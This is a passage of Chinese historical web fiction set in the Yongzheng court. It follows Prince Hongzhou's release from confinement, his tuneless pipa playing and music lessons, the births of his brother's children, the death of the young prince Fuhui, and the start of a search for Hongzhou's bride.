被放出来后,弘昼先是要去养心殿谢恩。 雍正看着下头站着的这个儿子,这孩子也是为了他的身体着想。平日里都看不进去书的人,专程去翻了些医书。现在回想起来不论是《伤寒杂病论》还是《黄帝内经》一看就不是弘昼平日里会看的。 这样想着,雍正的神色就不免柔和了些。 “这两月间可好?” 弘昼回答得一板一眼的,他现在的心思都已经飞到后宫去了。来劝汗阿玛的时候没有想太多,以为最多也就是打一顿板子了。 谁知道竟然是禁足,他被关进去的第一天就知道额娘在外面肯定是很担忧的。但他不能往外送信,额娘的信也送不进来,就只能忍下这个担忧等着出去的时候去额娘面前告罪了。 “儿臣这两月间反思了许多,是儿臣说话太过放肆了。” 雍正冷哼了一声:“原来你还知道放肆?” 将他比作嘉靖,倘若是旁人说的这种话,雍正早就让那人回家去吃自己的了。但偏偏这是他儿子,说了这样的话最多也就是禁足一阵子。 弘昼老老实实地低头听训,他现在还不能反驳汗阿玛。一反驳就容易把人给惹火,要是再被禁足,额娘肯定更担忧了。 见到弘昼这样乖顺的样子,雍正的心中又被一种略带一点点的愧疚和心疼取代了,训了弘昼两句后,板着脸说道:“念在你已改过,朕便让你能随意出入紫禁城了。” 本来还左耳进右耳出的弘昼,听到这句话瞬间就精神了。抬起头看着自家阿玛,眼中写满了兴奋和果真吗。 看着弘昼这瞬间恢复活力的样子,雍正似乎也心情好了些,笑骂道:“滚去见你额娘吧。” “儿臣多谢汗阿玛。”弘昼兴奋地谢恩后才走出去。 芜湖~终于可以不用只在紫禁城这片小地方活动啦。 去后宫见耿执羽的时候,额娘是拉着他上上下下看了好一阵子。见他没有瘦,看着也没有受什么苦的样子才撒手。改成了捶他,一边用拳头捶了几下,一边口中骂他说话不计后果。 弘昼自然是老老实实听训了,看着额娘眼底的黑眼圈就知道额娘这两月间肯定没有睡好。这都是他思虑不周的缘故,要是提前给额娘打个招呼多半就没这回事了。 耿执羽自然是不知道弘昼心中的想法的,若是知道了恐怕更是要气得多锤他两下了。 这一天的时间弘昼就留在钟粹宫陪着额娘了,下午的时候熹妃过来时也埋怨了他几句。 钮祜禄额娘和自家额娘简直就是亲姐妹了,这位名义上是庶母,实际上是姨母的人教训自己也只有听着。弘昼只能低着脑袋表示自己明白了,下次一定注意。 这两月间熹妃几乎日日都会来钟粹宫安慰耿执羽,不为别的,就是怕她自己一个人待着会多想。伏云娑鸣虽然是跟着耿执羽十几年的人,但若是耿执羽要她们下去自然也是不敢违令的。 若非宫嫔不能随意在旁的地方过夜,熹妃简直要像从前在王府的时候偶尔在泗水院过夜一样搬过来陪着耿执羽一段日子了。 在钟粹宫这里陪着两位额娘一日后,弘昼就拖着觉得有点累的身子回到了阿哥所。 这两个月间他的活动范围就是阿哥所的这个小院子,整日里能走动的地方就这么点,有点疏于锻炼了。不行,还是得将骑射捡起来,身体才是革命的本钱。 回到阿哥所的时候,弘昼就看到了自家四哥正坐在院子里等着他回来呢。 如今正值傍晚,夕阳的曦光洒在了紫禁城高高低低的房檐上。阿哥所也被染成了一片橙黄色的暖光,弘历正对着院子门口坐着,脸上的表情有点冷淡,见到弘昼进来后不仅没有打招呼,还瞪了他一眼。 “嗨,四哥。”弘昼很是开心地说道,“好久不见,四哥你怎么又变冷了点。” 弘历坚持不懈地瞪着弘昼,见他似乎一点也没有感受到自己的怒目而视,反而表现得很是自在的样子终于还是忍不住了。 “嘶啊——” 弘昼瞪着四哥:“打我做什么?” “哼,”弘历很不高兴,“打的就是你这口无遮拦的小子。” 院中的人上了茶之后便很有眼色地退到了屋内,连小周子都被李玉拉着去廊下蹲着了。如今这院中,似乎只剩下了这兄弟两人。 “你对汗阿玛说什么了?”弘历的声音压下,“你不要命了,拿什么比汗阿玛?” 自古以来的皇帝,在听到别人用前面的皇帝和他做比的时候,都是希望能听到什么秦皇汉武,唐宗宋祖。再不济怎么也得是文帝景帝,仁宗圣祖吧。你拿一个几十年不上朝,还差点被宫女勒死的皇帝来比,真以为你是他儿子他就当真不能将你怎么样了? 这点消息还是弘历耗费了很大的功夫才套出来的,当他知道的时候都惊了。五弟是真活腻歪了吗,皇玛法就圈禁过两位皇子,汗阿玛如今更是已经将三哥革去黄带子了 当日若汗阿玛一气之下,做了更严重的处罚他又当如何? “我当时也是气急了嘛,”弘昼小声为自己辩驳,“看着汗阿玛那样信重丹药,我心里着急。” “着急也该慢慢说,你必须得记着,汗阿玛如今已经是天子了。”弘历看着弘昼,声音很是严肃,“天子的威严是不可挑衅的,汗阿玛会容你一次两次,但不代表三四次也能容下。这回禁足两个月便当作是教训了,日后说话做事一定要谨记这回的教训。” “我知道了。”弘昼蔫蔫的,他今天先是被汗阿玛责骂,然后被额娘和钮祜禄额娘责骂,现在又被四哥责骂。他就知道他肯定是宫里最受气的一个,谁都能骂他。 见弘昼这样,弘历只能将原先准备骂他的话咽了回去,关心了弘昼几句。 “对了四哥,”弘昼不一会儿恢复了往日的元气,眼睛亮晶晶地看着四哥说道,“过两日不就是端阳了吗,到时候宫宴我想要在宫宴表演……” 今年的端阳说是宫宴更像是家宴,只有雍正的嫔妃和孩子们参加。齐妃一早就告病不来了,自从弘时被过继后不论大宴小宴她都不来了,雍正也不大管她了。 前面十几二十年的情分,都在他们为了弘时争吵的时候耗得差不多了,雍正原本对怀恪的怀念也被弘时耗光了。他现在对齐妃偶尔会想起从前的时光,也只能保证齐妃能好好在延禧宫中过日子,他平素也不想见到这位妃子了。 若是回想起了当四贝勒时的日子,他心中也只能叹道,兰因絮果,莫若如是了。 宫宴是皇后一手安排的,雍正的嫔妃不算多,潜邸来的老人七八个,加上上回选秀的时候进了两三个新人。还有些妃嫔已经过世了,现在算起来不过堪堪十数。 其中嫔位以下的常在答应偏多,嫔位以上的除去皇后也只剩下三人了。 雍正今日心情很明显不错,关心了养女端柔以及和惠几句。对于和惠这个从十三弟府上过继而来的女儿,雍正一直都是温和而耐心的。 三个养女中,雍正最为偏爱的就是这个女儿。每次见到的时候总不忘嘘寒问暖,当然了,雍正对端柔也不错。 庄亲王是先帝的十六阿哥,在康熙后期的时候已经站在了他四哥的身边。对于这个支持自己弟弟雍正是很优待的,一上位就把十六阿哥弄去了绝嗣的庄亲王府上承袭他的铁帽子和硕亲王爵位。 自然地,对于这个庄亲王的女儿端柔也还不错。 至少弘昼看着,汗阿玛对这两位妹妹的态度可要比对自己和四哥好多了。 宴会还未开始,弘历便站了起来笑着说道:“五弟说这段日子在阿哥所习了些音律,想趁着现在阖家团圆的时候,表演给汗阿玛和皇额娘还有各位额娘瞧瞧。” 弘昼被禁足的时候院中常常传来乐声的事情雍正也是知道的,他本也是善音律的人。从前还是贝勒亲王的时候,得空了便会将古筝搬出来抚奏一曲。 虽然音律上比不上三哥和十六弟,但也得上不错。 从前在弘历和弘昼年幼时,雍正也曾想过教这两个孩子一点音律。但当时他们都太小了根本坐不住,明显对音律也不感兴趣,这并非什么一定要学会的东西,见他们不喜雍正自然也就作罢了。 现在听见弘昼在禁足的时候不仅自己钻研了音律,甚至预备着想要在这表演一番。雍正就很期待了,莫非其实弘昼这小子继承了我这方面的天赋。 皇后的目光也看了过来,眼里带着笑意和期待。讨厌的李氏如今活得狼狈,弘时甚至已经去了黄带子,皇后如今在后宫中养着两个女儿再管管宫里的事情过得实在安逸。 她对弘昼和弘历一直不错,这两个孩子也承她的情,不论是公开的场面还是私下里说话都是孝顺恭敬的样子。 耿执羽和熹妃也看了过来,眼里好奇又期待。 端柔和惠两个小姑娘一直都黏在一起,也望向了这边。五哥待她们很好,经常给她们送些好玩的小玩意,现在听五哥要抚琴也好奇了起来,还没有听过呢。 被点到的弘昼拿起了自己解禁后专程寻来的琵琶,雄赳赳气昂昂地就走到了最中央,坐下后就立刻弹奏了起来。 听到乐声后,雍正面容呆滞。 皇后愣住了。 耿执羽和熹妃面面相觑。 端柔和惠两个小姑娘在纠结要不要捂住耳朵,这样是不是会伤了五哥的心。 弘历也愣住了。 只有弘昼一心陶醉在了自己的艺术之中。 第118章 演练 一曲终了,众人面面相觑。 弘昼从中间的位置上站了起来,很是期待地看着众人。 雍正欲言又止,最终只说道:“喜欢音律陶冶情操也不错,你可以去找你十六叔学学,他在音律方面还是有些建树的。” 本来他是预备着弘昼表演完怎么也是要夸奖两句的,可听完之后真的夸不出来。太过违心的话,实在是说不出口的。 皇后也面色纠结,最终夸了声辛苦。又立刻转移了话题,给弘昼赐了两道菜。 耿执羽这个亲娘扶额,她就知道这小子从前对弹琴吹箫什么的从不感兴趣,不过短短的两月又能练出什么来呢。 倒是熹妃抿了嘴偷乐了一下,弘昼这小子还真是从小就好玩。 弘历木着脸没话说,早知道他应在弘昼提起这件事的时候就听一听他这段时间练习的成果。 端柔和惠挤挤挨挨凑在一起,看了看五哥,又低声咬着耳朵。 弘昼没有得到想要的反馈,倒是也不失望。他想要弹琵琶已经弹出来了,怡然自乐。 其实这也是能预料的,教弘昼的那个小太监家中虽是唱戏的。但唱戏沦落到将儿子送进宫当太监,那个水平就很是不能细想了。而小太监又不是正经跟着家中人学过,不过是听着爹娘从前在家中谈论过几句。 这样想来,小太监的水平就更加不能细想了。 这样弘昼学来的乐理中便疏漏颇多,好在他也不是要去靠着当乐人吃饭。只是兴起想弹琴罢了,倒是也不会影响什么。 经过了弘昼献艺后,这场家宴大家都把注意力放在了吃上面。吃过了就在雍正挥手表示可以解散后,各自回了自己的殿中。 弘历跟着弘昼一起走,语气疲惫:“我给你找个弹琵琶的师傅吧。” “才不要,”弘昼语气悠然,“想弹的时候弹,不想弹的时候就不弹了。本来是高兴的时候的消遣,真的找了个师傅的话,反而显得束缚了。刚刚汗阿玛也说了我可以去找十六叔,要是真想学什么就找十六叔好了。” 十六叔庄亲王算得上很是得雍正信任的,听五弟好歹不是去找什么不该找的人,弘历就随他去了。 弹琵琶也不是什么不好的爱好,弹得难听些就难听些罢了。 弘历自己应当是不会听到太多次五弟的弹琵琶的,毕竟五弟只是在他的院子里弹。自己又不是经常去阿哥所五弟的院子,见面的地方多在外面,能听见的机会自然就少了。 所以在知道汗阿玛让五弟去跟着十六叔学一学后,他也不过是付之一笑。觉得五弟学也好,不学也罢,高兴就行了。 但他实在是有些低估了弘昼了,早知他一定会坚持给弘昼找个弹琵琶的师傅,也不会让五弟去找十六叔的。 从汗阿玛那里拿了能随意进出宫的权利后,弘昼就很是高兴。找弘暾混了一下,拿到了只要提前一天就能在天香楼那里订烤乳猪的权利后,在天香楼吃了两三天的烤乳猪。 当今皇上的皇子人数少,自然就金贵了起来。更别提已经踢出去了一个了,剩下的三个就更贵重了起来。 先帝二十几个皇子,有好些是混不上亲王的。可能至死都是贝勒郡王,但如今的三位皇子,眼看着只要好好长大就必是能混上一个亲王的爵位的。趁着现在五阿哥喜欢出宫玩,这时候不混上去攀交情,难道等他成了亲王再攀吗? 况且现在五阿哥的年纪小,正是少年心性的时候,说不定投缘了就能跟在身侧沾点光呢,等年纪大了可就不好忽悠了。 于是乎,弘昼在京城大街上乱逛的时候,就碰上了不少八旗的勋贵子弟。这些大多数是没有什么正经官身,也不在八旗官学念书的,多数是家中宠着的小儿子,也不指着顶立门户,只要不去惹出祸来就很好了。 这些有性子不错的,也有性子差些的。有只是爱享受的,也有喜欢欺男霸女占人家良田的。 弘昼对性子不错只是爱享受的态度不错,这很合了他想要当个富贵闲散王爷的愿景。但对那些欺男霸女的就没有那么和颜悦色的,甚至扭送了一两个纨绔去顺天府。 当顺天府尹看到五阿哥这张脸的时候,脸上强撑着的笑意都要展不开了。 上回见到五阿哥还是一两年前,那时候年家可是正强势的时候,五阿哥就和年家起了冲突。现在看着送到自己跟前的几个勋贵子弟,顺天府尹只能叹了口气后秉公办理。 这些勋贵子弟背后自然是有些势力的,但比起当初的年羹尧可以说是一个天上一个地下了。得知了自家孩子被五阿哥送去顺天府后也不敢声张,只能在背后悄悄骂上两句罢了。 雍正倒是听说了一二,了解了弘昼不是随便送人进去,进去的都犯了些事后就不大管了。他现在正是对弘昼有点愧疚怜爱的时候,这小子现在的这点事都不叫事。 原本这位五阿哥一直养在宫中,对他性子不熟悉的朝臣们如今也熟悉了些。似乎是个爱玩爱闹的人,皇上也任由他去。要知道瞧着皇上对四阿哥的严厉,奏对的时候有一点不对就皱眉开始训斥了,而五阿哥即便犯一点小错皇上也没有表示什么。 在街上混了一两月后,弘昼也有了几个混熟的八旗子弟。他是不管他们是哪家的,只要能投了他的性子,本身又不是个坏人就能跟着他一起玩。 当然了,这些人现在都还仅止于狐朋狗友的阶段。他真正熟悉又信重的还是从小一起长大的弘暾弘晈几人,他现在也爱往十三叔的府上跑。 十三叔忙,弘昼去他府上的时候十有八九他是在外面办差的。于是乎弘昼就只需要去给十三婶请个安后,就能去找弘暾弘晈玩了。 他甚至在弘暾的院子里放了一把琵琶,只要他过去兴起了就弹一下。 弘暾和弘晈是和弘昼从小玩到大的性子,也不怕他。虽然不能阻止他弹琵琶,但他们能在他弹琵琶的时候捂耳朵。 看见他们捂耳朵弘昼也不生气,只是嘿嘿笑了两声后继续。他想要弹的时候是喜欢面前有两个听众的,但这几个听众愿不愿意听就不在他的思考之内了。爱听就多听,不爱听捂耳朵他也不恼。 “得了,你别弹了。” 今日弘昼已经弹了三首曲子了,弘暾实在是有点受不住了:“四伯不是叫你去十六叔府上瞧瞧,也跟着学习一下吗?” 这小子绝对的五音不全,即便他没怎么学过也听出他好几个地方音节都弹错了。还是送到十六叔府上好好学一学吧,说不定能好听点。 弘昼听话地停了手,整个人瘫在了椅子里:“前儿十六叔忙着给宗室的老王爷办丧事了,汗阿玛点了他去的,我总不能这时候去添乱吧。” 如今先帝的十二阿哥和十六阿哥都算得上是办丧事的专业团队了,只要是宗室里有些名望的人殁了,不是十二叔去办丧事就是十六叔,也有可能是两人一起办。 “不是前几日已经办完了吗,十六叔应当空下来了吧。”弘暾实在是想让弘昼去上一下十六叔的私教课,好好地把宫商角徵羽的音给记下来。好歹不要弹得那么惨绝人寰才是,只要略微能入耳,他以后绝对不多说他弹琴的事儿。 提到这里,弘昼也动了心思。十六叔还是端柔的阿玛呢,自己和端柔这个三妹妹的关系挺好的,去见见他阿玛求学一下似乎也不错。 往日里怎么劝都不去学一下的弘昼,几天起了兴致,弘暾生怕他反悔不学了,连忙就扯着他骑着马到了庄亲王府。 庄亲王也受雍正的信重,但他却没有如他十三哥一样鞠躬尽瘁。相较而言,庄亲王是个你点我差事给你办得马马虎虎,你不点我,那我绝不会往前凑的人。 今儿正巧,庄亲王就在府中,还和十二叔在对弈。见弘昼和弘暾来了,庄亲王在书房见他们示意他们自己找位置坐下,他还是接着和十二哥对弈。 这位十二叔因着办事不谨,被汗阿玛从固山贝子削成了镇国公。但是看着十二叔红润的脸色,弘昼就知道爵位被削这件事对这位应当是没有造成什么太大的影响的。 “哟,今儿你们俩怎么想着来我府上了。”庄亲王落下了一子后微微扭头看着弘昼弘暾笑道,“弘昼今儿不在外头晃荡了?那些纨绔些的八旗子弟如今听到你在外面晃悠都不敢出门了,生怕你把人给揪到顺天府去。” “在外面晃了这么久也烦了,”弘昼笑嘻嘻凑上去看他们的棋局,“这不是想要过来和十六叔学学音律。” 庄亲王也听说过弘昼最近迷上了弹琵琶的事情,笑道:“我可是听四哥说过你弹琵琶如狼嚎鬼叫一般,今儿来了正好弹来我听听,是不是当真这么惊悚。” 十二爷也投来了好奇的目光,他和四哥的关系一般,但和十六弟的关系不错。弘昼虽是晚辈,但他并不熟悉,也就不多掺言了。 弘昼也不羞涩,当即拿了十六叔府上的琵琶来了一段。 弘暾的脸上出现了痛苦面具,怎么都来十六叔府上了还要让他听上一段啊。 十二爷和庄亲王脸上出现了短暂的空白,十二爷手上的棋子没拿稳落在了棋盘上。原本还旗鼓相当的白子黑子因为这下错的一子,让庄亲王的黑子一下子就呈现出了围剿之势力。 “哟,”庄亲王一喜,“弘昼这曲子好,这曲子让我不必多用脑子就赢了十二哥。” 十二爷的语气疲惫:“如此听闻,看来四哥说的狼嚎鬼叫之语一点也不为过。” “既然十六叔赢了,那就该来教我弹琵琶了。”见他们的棋局出现了胜负,弘昼笑道。 弘暾听见这话,以迅雷不及掩耳到了之势告辞了,生怕留下来还要听见弘昼接着弹琵琶。 十二爷也脚步很快地告辞了,屋中一下子就只剩下了庄亲王和弘昼。 庄亲王如今刚过而立之年,脾气秉性一向是很好的,此时笑眯眯地就拿了一本乐律的入门书开始教起了弘昼的乐理基础。 弘昼有一搭没一搭听着,多少明白了之前自己弹琵琶的时候一直犯的错误。 讲了一会后,外头就有小厮进来禀报了。 “王爷,伦贝勒家中丧事器物一时有些短了,想要从咱们府上先支去用着,待日后再还。” 庄亲王一挥手:“叫管家带着人去库房领就是了。” “伦贝勒家中什么时候有丧事了,”弘昼听着有点奇怪,“我怎么不曾听说。” 一般是要家中长成的人去世才会有丧事的,小孩子夭折的话最多用一副好棺椁送出去,或者再请几个道士和尚来家中做一场法事也就罢了。可若是家中长成的人去世了,弘昼不觉得自己会不知道。 庄亲王不甚在意地说道:“哦,不是什么大事,只是伦贝勒年纪大了,想要看看自己百年之后的排场。自己在府中摆一场这样的丧事,演练一下也提前看一下罢了。” 弘昼大受震撼:“这还能提前演练的?” “是啊。”庄亲王说道,“如今丧仪的各项规矩繁琐复杂,想要让自己百年之后能得个漂亮的丧仪,提前预备着也不错。” 许多人的思想中有着死后的体面更重要的想法,对于死后的尊荣很是看重。这其中便有一小部分的人想要看看自己死后的排场,所以先行演练一下。 当然还是有很多人忌讳的,所以这样干的人少,干的时候也不张扬,自己悄摸搞一下就是了。 所以弘昼之前没听说过,现在他听见之后内心充满了震撼。 还可以这样? 第119章 悲喜 虽然心中对十六叔所说的演练丧事很是好奇,但弘昼现在是不能这样干的。他如今住在宫里,要做稍微大动作一点的事情是少不了内务府配合的。 内务府总管除非不想活的,否则怎么可能会配合他活出丧呢。到时候汗阿玛怪罪下来他这个儿子是一定不会死的,但那些给他提供东西的人就不一定了。 这样想着,弘昼遗憾地暂时放弃了这个打算,等看着以后有没有机会吧。 和十六叔学了一两个月的乐理后,弘昼如今弹的琵琶也还算能入耳了。 想要和宫里的乐师相比自然是没可能的,但至少现在弘暾和弘晈这两个臭小子听他弹琵琶的时候不会捂耳朵了。就连端柔和惠两个妹妹都夸他进步了许多,不过他总是疑心这是两个妹妹担心他伤心哄他的。 在弘昼一心跟着十六叔学乐理的时候,宫里发生了两件大喜事,让弘昼的心思暂时从琵琶上面转移了一点。 那就是四哥的两个孩子出生了。 四福晋和富察格格前后两日生产,四福晋诞下了一个格格,而富察格格则生下了一个阿哥。 知道这个消息之后,熹妃笑得合不拢嘴,她一下子就孙子孙女俱全了。而且这一双儿女几乎是同时来到的,她私心里觉得这是龙凤呈祥的大喜事。 雍正听闻脸上也露出了笑意,先前弘时是给她生过一个孙子的,但那个孙子还未养成就夭折了。加上那孩子出生时,雍正对弘时的芥蒂已经很深了,对那孩子的出生虽有欣喜,但并不算多。 如今听见弘历后院出生两个孩子,连连叫了两声好后,就预备着给孩子取名字了。 皇上亲自赐名,那可是极为荣耀的事情。 最后赐名四福晋的女儿名为明曦,而富察格格的儿子名为永璜。 就孩子刚出生的那几日,弘昼觉得四哥的笑都要咧到天上去了。这几日即便是伺候的人有什么小错,都能被四阿哥和颜悦色地宽宥了。 孩子还未满月,是不适宜随便带着出来逛的。于是乎弘昼就到了毓庆宫准备看看自己的小侄子和小侄女,他还给两个孩子都备了礼物,两把沉甸甸的平安锁。 给侄女的那个上面雕刻了牡丹,并有一行嘱咐平安容华的字。而给侄子的那个上面雕刻了猛虎,写的是也是祝平安的字。 弘历看到这两个金锁就笑了:“你这打得沉甸甸的,给他们挂上去岂不是勒脖子?” 这话一出,弘昼掂了掂自己手里的两把金锁,似乎是有点沉:“给他们长大之后挂上也不错,先给他们暂时收起来。这都是我这个五叔的小小心意,主要是祝愿平安的嘛。” 这是他给送的出生礼,等孩子们洗三满月和满周岁抓周的时候都另外有礼的。 “对了,明曦和永璜呢,还不快抱出来给我看看。” 弘昼很不见外地就在四哥的书房里随意找了个位置坐下,随即就吵着要看侄子侄女。自从四嫂和小四嫂怀孕以来,他就期待这两个孩子降生了。 弘历笑着对苏培盛道:“去后面抱过来吧,让乳母们精心照料着。” 不多时,两个小小的孩子就被抱着过来了。 全都被橘黄色的襁褓包着,弘昼左看看右看看,从里头选了一个对着自己笑的襁褓抱了过来问道:“哪个是小格格?” “五爷抱着的这个是小格格呢。”明曦的奶嬷嬷讨好地笑道,“小格格和五爷投缘呢,一见到五爷就笑了。” 弘昼低头,果然见小侄女对着自己咧开嘴笑着。 真难得,这个年纪的孩子都是吃了就闹,闹了就睡的。想要找个他们醒着还不闹的时间是比较难得的,这明曦笑得让人脸上就不自觉地生出了笑意来。 “长得真好,”弘昼看着自家小侄女夸道,“这个长相一看就随了四嫂,待日后长大了必然也是个美人。还有这鼻子,这里像钮祜禄额娘。” 弘历本来在一边笑眯眯地听着弘昼夸自己女儿,对这个福晋所生的女儿他也是极为喜欢的。虽说不是嫡长子让他的内心隐处有一点失望,但看着女儿可爱的睡颜,这点失望就被丢到天边了,他和福晋还年轻呢,日后嫡长子肯定是有的。 可听着听着就听出不对了,弘历挑眉:“不是像福晋就是像额娘,这孩子竟没一点像我不成?” 弘昼抬头看了看四哥的脸,又低头看了看侄女的脸,斩钉截铁说道:“看着更像钮祜禄额娘。” 这话也不是弘昼乱说,虽然看着小了点,但侄女的鼻子和唇看着就像钮祜禄额娘。 弘历被气笑了,指着弘昼不知道该说什么才好。 看过了小侄女后,弘昼又将小侄子接过来抱了抱。 此时的永璜正在睡觉,被人换了个怀抱也不醒。依旧不声不响地睡着,看着应当是个安静的孩子。 见过了两个孩子后,弘历就叫人把孩子抱回去了。如今孩子们还小,要好好在屋里养到满月了才好带出来呢,若非来的是弘昼,他是决计不会让孩子这个时候就出来见客的。 弘昼回去后喜滋滋地翻着自己库房的册子,他这些年也攒了不小的家底了。逢年过节的时候汗阿玛皇额娘都要给年礼,还有内务府送来的份例以及过生日的时候别人送过来的礼物。他现在要在里面挑两个适合小孩子的,等满月的时候给两个孩子。 可弘昼挑好了东西后,永璜和明曦的满月宴却不能办了。 不是因为别的,是养在养心殿的福惠病重了。这病来得急,太医两三日后就给了雍正暗示,多半是不成了。 福惠从出生起就体弱多病,年贵妃一直是精心调养着的,好不容易养到了六七岁的年纪。年贵妃去世后,雍正就一手接过了照顾孩子的事务,待福惠也称得上是如珠似宝。 吃饭喝药都要操心,可以说是一手养着了。 像这样养着的孩子,感情会很深的。雍正听到太医说了福惠多半不成后,气得当场给了太医一脚,几乎要晕过去。 弘昼和弘历就是这时候被苏培盛派人去请来的,他们到后不久,皇后也到了。 对于福惠病了的事情弘昼是知道的,但这个六弟平日里也经常生病他只以为这次生病和之前是一样的。福惠只要好好地*喝药,后面也就能好了。 所以等弘昼进入内室,看到小小的福惠脸色惨白地躺在床上的时候,他的心猛地跳了一下。 从前年贵妃其余的孩子夭折的时候,弘昼虽然也知道,但当时他都没怎么见过这些孩子。甚至有的是没有见过,心中多数是唏嘘同情。 同情孩子来世上遭了罪走,又唏嘘可怜年贵妃丧子丧女。 可现在他看着这个他已经很熟悉的六弟躺在床上,他的心情就截然不同了。福惠和他其实也算不上多亲近,但他每次来养心的时候,这个弟弟都会过来行礼,说几句家常话。 见面的次数多了,又有血缘关系就很难不对这个乖巧的孩子多出一点怜惜。 特别是他禁足的那段日子,连四哥都不敢过多求情,但这个孩子是给她求了好几次情的。这些都是弘昼被接禁之后,听汗阿玛说的。 就是这样一个好孩子,在来世上的第八年,终于又要被召回天上去了。 弘昼扭头看着汗阿玛脸上肝肠欲断的伤心,又看了看正在安慰汗阿玛的四哥和皇额娘。最终在床前慢慢地蹲下了,给福惠掖了掖被子。 福惠似乎已经神志不清了,见有人在床前也没什么反应。 当日的夜间,六阿哥夭折了。 这个孩子的过世给了雍正如之前弘晖过世时一样伤心的感觉,那时候的弘晖也是他倾尽全力培养出来的孩子。从开蒙认字开始,都是他一一找了先生慢慢教的。 那时候他是期待这个孩子日后能继承他的爵位,当一个贤王的。 可哪个孩子去了。 而现在的这个孩子,他对这个孩子没有其余的期待。既不期望这孩子继承大统,也不愿这孩子太过操劳。他给福惠规划的路线,就是一个衣食无忧,自由自在的亲王。 弘历并不是个容不得人的孩子,这样一个已经没有母家,又小了他十来岁,对他没有一点威胁的孩子。他是一定会好好待的,即便可能不如他待弘昼,但无忧无虑荣华富贵也是能有的。 但现在的这一切对这个孩子的打算,都随着那小小的棺椁抬出紫禁城终止了。 雍正最终也只能选择给这个孩子一个体面的葬礼,用亲王礼下葬。 福惠的死像是一团阴云盘桓在紫禁城,雍正不展颜,所有人都不敢开怀了。 直到这个孩子死去的百日后,雍正依旧闷闷不乐。 在这样的情况下,弘历自然不可能去戳汗阿玛的眼给自己的两个孩子举办满月了。只能和汗阿玛表示,福惠也是自己两个孩子的叔父,叔父去世自然没有让孩子欢庆的道理。 直到这件事过去了半年后,雍正才勉强缓了过来。他之前只要一睡觉,似乎就能梦见清凝在怨他,怨他没有照顾好他们的孩子,怨他让福惠小小年纪就下去陪着额娘了。 翻过年后,又到了该选秀的年份了。本来雍正是打算免了这次选秀的,但思及还有个没有成婚的五儿子,便让皇后依旧按照往年来办选秀,只是他这个后宫是不会进人了。 弘昼原本的拖延术也到期了,他这次是绝对推脱不了了。 第120章 五福晋 雍正将选秀的事情同皇后吩咐过后,便将弘昼叫到了养心殿。 养心殿弘昼也算是常来了,不仅是梁九功,其余的小太监宫女们对五阿哥也是很熟悉了。 “儿臣参见汗阿玛。” 弘昼今日本来是预备着跟弘晈去戏园子的,听闻排了一出好戏。他对戏是不大感兴趣的,但弘晈非说是什么多年难得一遇的剧情,又说京里的人都叫好。引得他多了两分兴趣,便想去看看这是怎么一出好戏。 但还没出宫,就被汗阿玛身边的太监给叫来了养心殿。 雍正此时正在批折子,他手里的事情越发多了起来。已经好久没进过后宫了,若非这次要去找皇后说一说选秀的事情,多半也不会去的。 “起来吧。”雍正将最后一笔写完后才抬头看着弘昼:“年已经过完了,你也收收心别总是往外跑。如今年纪到了,也该在朝上办些差事了。” 听到这话,弘昼原本还算挺直的腰微微往下塌了一点:“汗阿玛,朝堂上这么多人,哪里就需要儿臣过去办差事了。” 他对自己的定义就是个皇室吉祥物,有什么需要皇室成员出场但是汗阿玛和四哥他们不方便的时候他就上。比如什么祭孔啊,什么祭陵之类的事情都可以,能短暂地出去玩一会,又不是什么困难的差事。 但是其余的事情就算了,朝堂上这么多的官员,他去干不一定能比人家干得好。 雍正无奈地抬了一下脑袋:“那你这个年纪了,不想办差难不成还想继续在上书房念书不成?” 如今上书房中其实还是有人的,先帝的儿子们太多了,如今还有个二十四阿哥胤祕在那里念书。这位二十四比弘昼和弘历的年纪还要小,本来在圆明园生活的,但他额娘过世了,雍正便下旨将他接到宫中抚育。 这位比儿子还要小的弟弟,如今雍正也是当成儿子养着的。若是弘昼还不答应办差事,那就扔回去和弟弟继续念书算了。 弘昼抬头望天,他一个也不想选。 见弘昼不答,雍正也不勉强,而是提起了另一个话题:“你皇额娘如今已经着手开始安排选秀了,你想要个什么样的福晋?上回你已经辞了一回了,这回可跑不掉了。” 说着雍正又上下打量了一下弘昼:“你四哥和你一年的,但如今已经有两个孩子了。甚至听闻你四嫂又有喜了,但你如今竟还没成婚,拖延不得了。” 弘昼其实想要举一下之前朝代那些不成婚的名人的,但想了想还是觉得汗阿玛多半听不进去,还是算了。 “儿臣……”弘昼思索片刻,“喜欢年纪偏大的,不要十三四岁的。” 选秀的年龄是十三到十七岁,十三四岁年纪实在是太小了。看着就还是个孩子的样子呢,一想到自己妻子才十三四,弘昼就有一种罪恶感。 雍正微微点头:“还有呢?你先前说了只要一个福晋,现在改口还来得及。” “儿臣不会改口的。”弘昼嘻嘻笑道。 “那随你。”雍正懒得在这些方面和这个小儿子多说,但在他不是弘历,日后也不需担心子嗣延绵的问题。他自己只喜欢要一个就一个吧,日后若是反悔了自己也好笑话他。 问完了这件事后,雍正就表示他可以跪安了。 从养心殿中出来,弘昼还是依照之前的约定去了十三叔的府上。弘晈已经等了他好一会儿了,见到他过来就不免有点抱怨。 “怎么来得这么晚,你都迟到快半个时辰了。” 弘昼悠悠然说道:“汗阿玛临时宣了我去养心殿,这才来晚了。” 听见是四伯宣了弘昼,弘晈原本的气焰就消失了。他本来还想谴责一下这个不守时的弘昼,但四伯叫了他的话那就没事了。 两人一同来了戏园子,弘晈订的是包厢。 弘昼看着上面咿咿呀呀唱的几人,只觉得自己实在是欣赏不了这门国粹。他之前还想过古代的纨绔败家子是少不了去听曲看戏的,但他实在欣赏不了。算了算了,还是改成自己唱曲弹琴吧- 皇后筹备选秀花了两个月的时间,这回选秀的人数比上回要少不少。 上回是皇上登基以来 第一回选秀,加之可能会给两位皇子选福晋,年纪到了的人家都报上去了的。 上回年纪小的都报上去了,这回自然就没有那么多了。 雍正左看右看定了三四户人家的闺女,又带给了耿执羽瞧了瞧。 这回选秀耿执羽是协理,她之前是不大管后宫其余事情的。但这回要给她选儿媳妇,皇后很自然地就将她也叫来帮忙了。 从皇上手里拿到人选名单后,耿执羽犹豫了好久,观察了这三四家的姑娘。从中定下了两个,一个是沉稳的,日后说不定能劝劝弘昼。另一个瞧着是有些机灵的,说不定成婚后能和弘昼过到一起去。 思索着儿子说的日后只要这一个福晋,耿执羽就更为难了。便将弘昼唤了过来,问他喜欢什么样的。 弘昼看了看这两位姑娘的介绍,讲的全是阿玛是谁,族中有出息的又有谁。只有最后的两行才简单地介绍了姑娘的品行性格,他又看了看,一个是十六岁,另一个是十七岁,都是差不多的年纪。 “全凭额娘做主。”弘昼自己也不知道,索性将这件事交给了额娘。 